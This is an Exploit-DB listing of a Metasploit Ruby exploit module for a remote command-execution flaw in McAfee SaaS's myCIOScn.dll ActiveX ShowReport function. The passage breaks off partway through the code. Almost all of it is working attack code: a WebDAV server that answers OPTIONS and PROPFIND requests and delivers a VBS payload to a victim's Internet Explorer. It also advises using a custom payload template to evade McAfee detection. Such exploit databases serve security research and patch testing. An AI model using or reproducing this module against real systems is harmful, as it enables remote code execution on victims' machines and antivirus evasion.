Exploit-DB #18376
Description: McAfee SaaS MyCioScan ShowReport - Remote Command Execution (Metasploit)
Type: remote
Platform: windows
Date: 2012-01-17
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "McAfee SaaS MyCioScan ShowReport Remote Command Execution",
			'Description'    => %q{
					This module exploits a vulnerability found in McAfee Security-as-a-Service.
				The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails
				to check the FileName argument, and passes it on to a ShellExecuteW() function,
				therefore allows any malicious attacker to execute any process that's on the
				local system.  However, if the victim machine is connected to a remote share (
				or something similiar), then it's also possible to execute arbitrary code.
				Please note that a custom template is required for the payload, because the
				default Metasploit template is detectable by McAfee -- any Windows binary, such
				as calc.exe or notepad.exe, should bypass McAfee fine.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'rgod',    #Initial discovery
					'sinn3r',  #Metasploit
				],
			'References'     =>
				[
					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-012'],
				],
			'Payload'        =>
				{
					'BadChars' => "\x00",
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none",
					#'InitialAutoRunScript' => 'migrate -f',
					'DisablePayloadHandler' => 'false',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Internet Explorer', {}],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 1 2011",
			'DefaultTarget'  => 0))

		register_options([
			OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ]),
			OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]),
			OptString.new('URIPATH',   [ true, "The URI to use", "/" ]),
			OptString.new('FILENAME',  [ true, 'The file name.', 'msf.html']),
			OptPath.new('TEMPLATE',    [true, 'A custom template for the payload in order to bypass McAfee', ''])
		], self.class)
	end

	def on_request_uri(cli, request)
		case request.method
		when 'OPTIONS'
			process_options(cli, request)
		when 'PROPFIND'
			process_propfind(cli, request)
		when 'GET'
			process_get(cli, request)
		else
			print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
			resp = create_response(404, "Not Found")
			resp.body = ""
			resp['Content-Type'] = 'text/html'
			cli.send_response(resp)
		end
	end

	def process_get(cli, request)
		print_status("URI requested: #{request.uri.to_s}")

		if request.uri =~ /\.vbs$/i
			# Depending on the connection speed, this might take a moment to transfer the
			# payload and actually get executed
			send_response(cli, @vbs, {'Content-Type'=>'application/octet-stream'})
			print_status("executable sent")
		else
			# Don't know the request, return not found
			print_error("Don't care about this file, 404")
			send_not_found(cli)
		end

		return
	end

	def process_options(cli, request)
		vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
		headers = {
			'MS-Author-Via' => 'DAV',
			'DASL'          => '<DAV:sql>',
			'DAV'           => '1, 2',
			'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
			'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
			'Cache-Control' => 'private'
		}

		resp = create_response(207, "Multi-Status")
		headers.each_pair {|k,v| resp[k] = v }
		resp.body = ''
		resp['Content-Type'] = 'text/xml'
		cli.send_response(resp)
	end

	def process_propfind(cli, request)
		path = request.uri
		vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
		body = ''

		my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		my_uri  = "http://#{my_host}/"

		if path !~ /\/$/
			if path.index(".")
				print_status("Sending 404 for #{path} ...")
				resp = create_response(404, "Not Found")
				resp['Content-Type'] = 'text/html'
				cli.send_response(resp)
				return
			else
				print_status("Sending 301 for #{path} ...")
				resp = create_response(301, "Moved")
				resp["Location"] = path + "/"
				resp['Content-Type'] = 'text/html'
				cli.send_response(resp)
				return
			end
		end

		print_status("Sending directory multistatus for #{path} ...")

		body = <<-BODY
		<?xml version="1.0" encoding="utf-8"?>
		<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
		<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
		<D:href>#{path}</D:href>
		<D:propstat>
		<D:prop>
		<lp1:resourcetype><D:collection/></lp1:resourcetype>
		<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
		<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
		<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
		<D:supportedlock>
		<D:lockentry>
		<D:lockscope><D:exclusive/></D:lockscope>
		<D:locktype><D:write/></D:locktype>
		</D:lockentry>
		<D:lockentry>
		<D:lockscope><D:shared/></D:lockscope>
		<D:locktype><D:write/></D:locktype>
		</D:lockentry>
		</D:supportedlock>
		<D:lockdiscovery/>
		<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
		</D:prop>
		<D:status>HTTP/1.1 200 OK</D:status>
		</D:propstat>
		</D:response>
		BODY

		body = body.gs